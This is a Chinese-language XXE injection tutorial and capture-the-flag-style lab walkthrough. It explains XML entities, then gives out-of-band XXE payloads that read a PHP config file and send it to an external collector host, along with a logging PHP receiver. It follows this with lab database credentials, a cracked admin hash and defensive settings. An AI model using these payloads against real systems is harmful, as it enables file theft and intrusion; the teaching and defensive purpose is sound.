XXE实体注入
知识梳理
1. 什么XXE?
XXE = XML External Entity 即外部实体,从安全角度理解成XML External Entity attack XML外部实体注入攻击,简单来说,XXE就是XML外部实体注入。当允许引用外部实体时,通过构造恶意内容,就可能导致任意文件读取,系统命令执行,内网端口探测,攻击内网网站等危害
2. 什么是XML
XML由3个部分构成,它们分别是:
- 文档类型定义(Document Type Definition,DTD),即XML的布局语言;
- 可扩展的样式语言(Extensible Style Language,XSL),即XML的样式表语言;
- 可扩展链接语言(Extensible Link Language,XLL)
XML:可扩展标记语言,标准通用标记语言的子集,是一种用于标记电子文件使其具有结构性的标记语言。
它被设计用来传输和存储数据(而不是储存数据),可扩展标记语言是一种很像超文本标记语言的标记语言。
它的设计宗旨是传输数据,而不是显示数据。它的标签没有被预定义。您需要自行定义标签。
可扩展标记语言(XML)和超文本标记语言(HTML)为不同的目的而设计
它被设计用来传输和存储数据,其焦点是数据的内容。
超文本标记语言被设计用来显示数据,其焦点是数据的外观
XML仅仅是纯文本,他不会做任何事情。
XML可以自己发明标签(允许定义自己的标签和文档结构)
XML 无所不在。XML 是各种应用程序之间进行数据传输的最常用的工具,并且在信息存储和描述领域变得越来越流行。
说白了这玩意就是个储存数据的
3. XML文档结构
XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素
<?xml version="1.0" encoding="UTF-8"?>
<!-- ⬆XML声明⬆ -->
<!DOCTYPE 文件名 [
<!ENTITY实体名 "实体内容">
]>
<!-- ⬆文档类型定义(DTD)⬆ -->
<元素名称 category="属性">
文本或其他元素
</元素名称>
<!-- ⬆文档元素⬆ -->
DTD(文档类型定义)的作用是定义 XML 文档的合法构建模块。DTD 可以在 XML 文档内声明,也可以外部引用。
-
-
内部声明DTD
-
<!ENTITY 实体名称 "实体的值">
例子
DTD:
<!ENTITY writer "me">
XML:
<author>&writer;</author>
注释: 一个实体由三部分构成: 一个和号 (&), 一个实体名称, 以及一个分号 (;)。
-
-
引用外部DTD
-
<!ENTITY 实体名称 SYSTEM "URI/URL">
或
<!ENTITY 实体名称 PUBLIC "public_ID" "URI">
例子
DTD:
<!ENTITY writer SYSTEM "http://example.com/dtd/writer.dtd">
XML:
<author>&writer;</author>
外部实体类型有
4. XEE攻击流程
- 判断是否存在XXE漏洞
遇到传参的地方出现了XML代码格式的东西,传参一些XML代码去尝试看看传参后是否有报错,页面是否显示了实体中的东西。 - 通过外部实体声明将目标服务器文件中的内容,转码当做值发送至自己所构建的1.xml文件中
<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=C:/phpStudy/scms/conn/conn.php">
<!ENTITY % remote SYSTEM "http://59.63.200.79:8017/xxe/1.xml">
%remote;
%send;
]>
- 1.XML将接收的内容以GET传参的方式发送给2.php
<?xml version=”1.0”?>
<!DOCTYPE ANY[
<!ENTITY % all
“<!ENTITY % send SYSTEM ‘“
>
%all;
]>
- 2.php获取参数利用file_put_contents函数,将接收的内容输出到3.txt
<?php file_put_contents(“3.txt”,$_GET[“id”],FILE_APPEND);?>
5. 防御方法
-
-
使用开发语言提供的禁用外部实体的方法
-
PHP:
libxml_disable_entity_loader(true);
JAVA:
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);
Python:
from lxml import etreexmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
-
-
过滤用户提交的xml数据
-
关键字:<!DOCTYPE和<!ENTITY,或者,SYSTEM和PUBLIC。
链接:https://www.cnblogs.com/backlion/p/9302528.html
靶场地址
http://59.63.200.79:8207
XXE攻击平台
http://59.63.200.79:8017/1.xml
http://59.63.200.79:8017/2.php
http://59.63.200.79:8017/3.txt
-
查看靶场,发现是使用CMS搭建的网页,下载源码进行代码审计;
发现
/weixin/index.php
内含有simplexml_load_string
函数,切未经过滤可能存在XXE漏洞
-
构建url链接,进行传参测试
CMS源码中$signature参数不等于空时,进入判断语句,传入传参?signature=123
,在放入xml攻击语句
<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=C:/1.txt">
<!ENTITY % remote SYSTEM "http://59.63.200.79:8017/1.xml">
%remote;
%send;
]>
页面报错,显示绝对路径
-
根据绝对路径修改XML攻击语句,读取熟即可配置文件
优化xml攻击语句
<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=C:/phpStudy/scms/conn/conn.phpt">
<!ENTITY % remote SYSTEM "http://59.63.200.79:8017/1.xml">
%remote;
%send;
]>
-
进行base64解码,获取数据库连接信息
PD9waHAKZXJyb3JfcmVwb3J0aW5nKEVfQUxMIF4gRV9OT1RJQ0UpOyAKaGVhZGVyKCJjb250ZW50LXR5cGU6dGV4dC9odG1sO2NoYXJzZXQ9dXRmLTgiKTsKc2Vzc2lvbl9zdGFydCgpOwokY29ubiA9IG15c3FsaV9jb25uZWN0KCIxOTIuMTY4LjAuMTAiLCJ4eGUiLCAidGVpd28hOCM3RVJlMURQQyIsICJzY21zIik7Cm15c3FsaV9xdWVyeSgkY29ubiwnc2V0IG5hbWVzIHV0ZjgnKTsKZGF0ZV9kZWZhdWx0X3RpbWV6b25lX3NldCgiUFJDIik7CmlmICghJGNvbm4pIHsKICAgIGRpZSgi5pWw5o2u5bqT6L e5o6l5aSx6LSlOiAiIC4gbXlzcWxpX2Nvbm5lY3RfZXJyb3IoKSk7Cn0KJGZ1bmN0aW9uZmlsZT1kaXJuYW1lKCRfU0VSVkVSWyJTQ1JJUFRfRklMRU5BTUUiXSkuIi9kYXRhL2Z1bmN0aW9uLmJhcyI7CiRkYXRhZmlsZT0iZGF0YS9kYXRhLmJhcyI7CiRhamF4ZmlsZT0iZGF0YS9hamF4LmJhcyI7CiRhcGlmaWxlPSJkYXRhL2FwaS5iYXMiOwo/Pg==
<?php
error_reporting(E_ALL ^ E_NOTICE);
header("content-type:text/html;charset=utf-8");
session_start();
$conn = mysqli_connect("192.168.0.10","xxe", "teiwo!8#7ERe1DPC", "scms");
mysqli_query($conn,'set names utf8');
date_default_timezone_set("PRC");
-
通过在线数据库管理工具连接数据库
根据cms源码猜测连接数据库页面
http://59.63.200.79:8207/adminer.php
得到加密密码
e99d2e51cbefe75251f1d40821e07a32
进行MD5解码,得到
admintestv1
-
尝试登陆后台
在 SL_config
表内发现邮箱地址,进行修改
成功登陆后台
作者:虚晃一枪骗过上帝
链接:https://www.jianshu.com/p/8bfeb2f366ce
来源:简书
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。
- 点赞
- 收藏
- 关注作者
评论(0)